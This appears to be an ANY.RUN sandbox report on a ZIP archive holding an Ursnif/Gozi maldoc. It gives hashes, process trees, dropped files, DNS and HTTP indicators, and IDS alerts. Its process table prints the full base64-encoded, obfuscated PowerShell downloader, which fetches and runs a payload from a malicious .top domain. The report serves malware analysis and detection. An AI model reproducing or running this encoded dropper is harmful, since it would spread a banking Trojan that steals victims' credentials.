analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Regione_Campania.zip

Full analysis: https://app.any.run/tasks/304ff9e2-4874-4f73-b12f-a297215c8f17
Verdict: Malicious activity
Threats:

Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world.

Malware Trends Tracker     >>>
Analysis date: April 23, 2019, 14:21:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
gozi
ursnif
maldoc-3
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

05CA22F021A115BA0E265EBD4E70CD42

SHA1:

302DA7695A3059F03678749445B6BD7397B60150

SHA256:

EE5FF1DE53A6BCA2AACA13A2ADCF03C0499BBCB4E4DFDF0AEF8DD00F314D77FC

SSDEEP:

3072:n9D5amExLDDCsAjT6rGD+wPV6i+9oF0Rb1OcrgF7fEE:n9DAOX6SDYi2oF0HbM7sE

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • URSNIF was detected

      • powershell.exe (PID: 756)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 756)

    • Starts Microsoft Office Application

      • WinRAR.exe (PID: 2588)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1704)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1704)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: info_23.04.doc
ZipUncompressedSize: 171264
ZipCompressedSize: 101798
ZipCRC: 0xaa66ccc7
ZipModifyDate: 2019:04:23 06:30:01
ZipCompression: Deflated
ZipBitFlag: 0x0009
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
35
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs winword.exe no specs #URSNIF powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2588"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Regione_Campania.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
1704"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb2588.28449\info_23.04.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
756powershell -e JABFAFEAQQBVAEEAVQA9ACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwB4AEIAJwAsACcAUQBBACcAKQAsACcAVwBRACcAKQA7ACQAcQBRAEQARwBrADEAIAA9ACAAJwA2ADUANQAnADsAJABoAEQAQQBCAEEAXwB4AFUAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBDAG8AVQAnACwAJwBRACcAKQAsACcAcQBRACcALAAnAEIAJwApADsAJAB3AEEAQwBBAG8ARABBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABxAFEARABHAGsAMQArACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAC4AZQAnACwAJwB4AGUAJwApADsAJABkAEEAMQBBAEIAQQBBADQAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBBACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBfAEEAawAnACwAJwBDACcAKQApACwAJwBaACcALAAnAFoAawAnACkAOwAkAEoAXwBBAEEARABBAEQAQgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBgAEUAVAAuAHcAZQBCAGAAQwBsAGkAYABFAG4AVAA7ACQAbQBaAEIAQQBBAEEAVQA9ACgAIgB7ADYAfQB7ADUAfQB7ADEAMgB9AHsAMgB9AHsAMAB9AHsANwB9AHsAMwB9AHsAMQA0AH0AewA0AH0AewA4AH0AewAxADEAfQB7ADEAMAB9AHsAMQB9AHsAMQAzAH0AewA5AH0AIgAgAC0AZgAnAGkAbgAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAYQAnACwAJwBsAD0AcAAnACkALAAnAHkAbAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAZQAuACcALAAnAHQAbwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBvACcALAAnAGUAeAAvACcAKQAsACcAdAB0ACcALAAnAGgAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAGEAJwAsACcAbABpAGMAJwApACwAJwBwACcALAAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAGUAbAAzACcALAAnAC4AJwAsACcAZgBnAHMAJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAaABwAD8AJwAsACcAcAAnACkALAAnAG8AMgAuACcALAAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAnADoAJwAsACcAcAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAC8AJwAsACcALwB6AGEAJwApACkALAAnAHMAcwAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAHAALwBzACcALAAnAGsAJwApACkALgAiAHMAUABgAEwAaQBUACIAKAAnAEAAJwApADsAJABDAFUAMQBYAEEAMQBVAD0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBBAFgARAAnACwAJwBBACcAKQAsACcARwBBACcALAAnAGMAQQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABiAEQAWABBAEEARABBACAAaQBuACAAJABtAFoAQgBBAEEAQQBVACkAewB0AHIAeQB7ACQASgBfAEEAQQBEAEEARABCAC4AIgBkAGAAbwBXAE4AYABMAG8AYQBgAEQAZgBJAGwAZQAiACgAJABiAEQAWABBAEEARABBACwAIAAkAHcAQQBDAEEAbwBEAEEAKQA7ACQAaQBYAG8ANABfAEMARAA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAMQAnACwAJwB1AFoAQwAnACkALAAnAEEAQgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAdwBBAEMAQQBvAEQAQQApAC4AIgBMAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMANwA2ADIAOQApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACAAJAB3AEEAQwBBAG8ARABBADsAJABGAHcAUQBYAG8AUQAxAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnADQAWgAnACwAJwBvAGsAJwApACwAJwBJAFUAawAnACkAOwBiAHIAZQBhAGsAOwAkAEkARABCAEEAVQA0AD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACcARAAnACwAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQgAnACwAJwBvAEEAUQAnACkALAAnAFEAJwAsACcAQQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQBBAF8AQQBEAEEAPQAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAIAAnAHcAJwAsACcAUQAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHgARABEACcALAAnADEARAAnACkAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 835
Read events
1 361
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
3
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
1704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRAAE3.tmp.cvr —
MD5:—
SHA256:—
756powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BWCDOZ4TC4UJHIBOW439.temp —
MD5:—
SHA256:—
1704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Rar$DIb2588.28449\~$fo_23.04.docpgc
MD5:86E08180FBFC6C295DD5C9E55ED4EDB4
SHA256:C39ADB8596E0A9C5D757953E433DDAD7F5459AAEFC9D1BACBF1412AF3E76A47B
756powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11b4d6.TMPbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
756powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
1704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:8DBA6F5568BE47500E25889C01120B97
SHA256:0A6993764543E2B23365756CFA509798321189F426E22339DCCB9BF8936F9E0D
1704WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:FDB405729CFC4321C931CF7EC8982E44
SHA256:7A2C418DA97D74BC195CA96A5BEB2B6D5D3462545B20E1EE07070A260F19B2DB
2588WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb2588.28449\info_23.04.docdocument
MD5:037B96C7A2522118E922253BDCB1B058
SHA256:7560784FB309C772406AA25803ADAEF3FBFA3D4CBDC0EDBD74BE961DB17FA999
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
756
powershell.exe
GET
404
89.223.92.228:80
http://zaylinalice.top/skoex/po2.php?l=passel3.fgs
RU
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
89.223.92.228:80
zaylinalice.top
—
RU
suspicious

DNS requests

Domain
IP
Reputation
zaylinalice.top
  • 89.223.92.228
malicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
756
powershell.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Regione_Campania.zip